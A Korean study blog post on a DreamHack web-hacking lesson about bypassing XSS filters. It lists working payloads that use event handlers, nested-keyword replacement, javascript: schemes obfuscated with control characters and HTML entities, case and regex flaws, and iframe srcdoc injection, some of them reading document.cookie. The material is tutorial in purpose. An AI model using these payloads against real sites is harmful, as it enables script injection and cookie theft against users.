Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Web_Hacking] AD(client): stage1_XSS Filtering Bypass-1 본문

Hack/DreamHack(로드맵)

[Web_Hacking] AD(client): stage1_XSS Filtering Bypass-1

CIDY 2022. 7. 30. 23:15

*이벤트 핸들러 속성

JS코드를 실행할 수 있는 HTML태그는 여럿 있는데, 그중에서 on으로 시작하는 태그들은 이벤트 핸들러 지정이다. 

 

이벤트 핸들러는 특정 요소에서 발생한느 이벤트를 처리하기 위한 콜백 형태 핸들러 함수 -> 이벤트 핸들러 안에 XSS공격 코드를 넣음 -> 그 이벤트 발생 시 해당 공격 코드 실행

 

자주 사용되는 이벤트 핸들러 속성으로는 onload, onerror, onfocus등이 있다.

 

 

->onload이벤트 핸들러

<img src="https://dreamhack.io/valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 핸들러 실행 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 핸들러 실행하지 않음 -->

 

->onerror이벤트 핸들러

<img src="valid.jpg" onerror="alert(document.domain)">
<!-- → 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 핸들러 실행 -->

 

->onfocus이벤트 핸들러

<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- → autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함, 포커스된 직후 onfocus 핸들러 실행 -->

input태그에 커서를 클릭해 포커스되면 실행되는 이벤트 핸들러이다. autofocus로 자동 포스커시키거나, URL의 hash부분에 input태그의 id속성값을 입력해 자동으로 포커스되도록 한다.

 

 

 

 

*문자열 치환

XSS키워드 필터링 시 단순 치환이나 제거의 경우, 필터링 키워드 사이에 새로운 필터링 키워드를 끼워 우회할 수 있게 된다. (script키워드를 삭제하는 필터링 방식의 경우, scrscriptipt처럼 써서 script가 사라지면 script가 되는것)

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />

 

물론 문자열에 변화가 없을 때 까지 계속 필터링시키면 위 방식도 효과가 없어지긴 한다.

 

다음은 문자열 치환 우회 예시이다. 

function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,&lt;svg&gt;" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,&lt;svg&gt;" onload="alert(1)" />
replaceIterate('<ifronerrorame srcdoc="&lt;sonerrorcript&gt;parent.alescronerroriptrt(1)&lt;/scrionerrorpt&gt;" />')
--> <iframe srcdoc="&lt;script&gt;parent.alert(1)&lt;/script&gt;" />

 

 

또다른 예시이다. 위와같이 onerror사이에 onerror를 넣어 alert(1)이 실행되도록 할 수 있다.

 

 

 

 

*활성 하이퍼링크

HTML마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있는데, javascript: 스키마는 URL로드 시 자바스크립트 코드를 실행할 수 있도록 한다.

 

<a href="javascript:alert(document.domain)">Click me!</a>
<iframe src="javascript:alert(document.domain)">

 

위와 같이 URL을 속성값으로 받는 a나 iframe태그를 이용할 수 있음 -> 그래서 해당 스키마가 필터링되기도 함 -> 브라우저들이 URL을 사용할 때 거치는 정규화 과정(Normalization)을 이용해 우회할 수 있기도 함

 

정규화 -> 동일한 리소스를 나타내는 다른 URL들을 통일된 형태로 변환하는 과정 -> \x01, \x04, \t등이 제거되며, 스키마의 대소문자가 통일됨.

 

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">

위와 같이 특수문자를 포함해 우회할 수 있게 되는 것이다.

 

그 외에도 HTML태그 속성 내에서는 HTML Entity Encoding을 사용해 아래와 같이 javascript: 스키마나 XSS키워드를 인코딩해서 필터링을 우회할 수도 있다. 

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">

 

자바스크립트에서는 URL객체를 통해 URL을 직접 정규화 할 수 있음 + protocol, hostname등과 같은 URL정보를 추출할 수도 있음 -> XSS필터링 우회 공격 구문 작성을 위해 직접 URL을 정규화해보면서 테스트해볼 수 있음.

function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"

 

 

 

 

*태그/속성 기반 필터링

단순 태그, 속성 기반 필터링은 우회경로가 발생할 가능성이 높다.

 

->대소문자 인식을 이용한 우회

x => !x.includes('script') && !x.includes('on')

HTML는 태그, 속성에 있어 대소문자를 구분하지 않음 -> 대소문자를 모두 검사하지 않으면 아래와 같이 우회 가능

<sCRipT>alert(document.cookie)</scriPT>
<img src=x: oneRroR=alert(document.cookie) />

 

 

->잘못된 정규표현식을 이용한 필터 우회

키워드 필터링 시에는 정규표현식(Regular Expression, Regex)을 이용 -> 정규표현식 필터링 자체에 결함이 있는 경우 해당 정규표현식을 만족하면서 XSS공격 구문 삽입이 가능하다.

 

x => !/<script[^>]*>[^<]/i.test(x)

위는 스크립트 태그 내부에 데이터가 존재하는지 검사하는 정규 표현식이다. -> 스크립트 태그의 경우 굳이 태그 내에 데이터가 없어도 src속성을 이용해 데이터 입력 가능

 

아래와 같이 정규표현식 우회가 가능해진다.

<script src="data:,alert(document.cookie)"></script>

 

아래 코드는 img태그에 on이벤트 핸들러가 존재하는지 여부를 검사하는 핸들러이다. 

x => !/<img.*on/i.test(x)

 

위 검사는 멀티라인에 대한 검사가 없음 -> 아래와 같이 우회 가능

<img src=""\nonerror="alert(document.cookie)"/>

줄바꿈 문자를 이용해 우회하였다.

 

 

->필터링 된 것 말고 다른 태그/속성 이용해서 우회

HTML내에는 매우 다양한 태그/속성이 존재하므로 script, img, input이 필터링되어도 다른 태그를 이용해 공격할 수 있는 길은 열려 있다.

 

x => !/<script|<img|<input/i.test(x)

세 가지 태그를 필터링하는 검사이다.

 

<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>

다른 태그를 이용해 공격할 수 있다.

 

x => !/<script|<img|<input|<.*on/is.test(x)

이건 on이벤트 핸들러도 막고, 멀티라인 검사까지 있다. -> 새로운 innerframe을 생성하는 iframe태그를 이용해 우회 가능

 

<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

위와 같이 iframe의 src는 URL을 인자로 받음 -> 하이퍼링크를 이용해 JS코드를 삽입할 수 있음

 

또는 srcdoc속성을 이용해 inner frame내에 새로운 XSS공격 코드를 입력하는 것도 가능. -> HTML속성 내에 들어가므로 HTML Entity Encoding으로 기존 필터링 우회 가능

 

 

 

 

->우회 예시1

 

 

->우회 예시2

 

 

->우회 예시3

(parent alert를 호출하는 이유는 위 XSS스크립트의 경우 iframe안에서 호출되므로 문제에서 alert를 호출하기 위해서는 스크립트 호출보다 상위에 존재하는 alert를 호출해야 하기 때문이다.)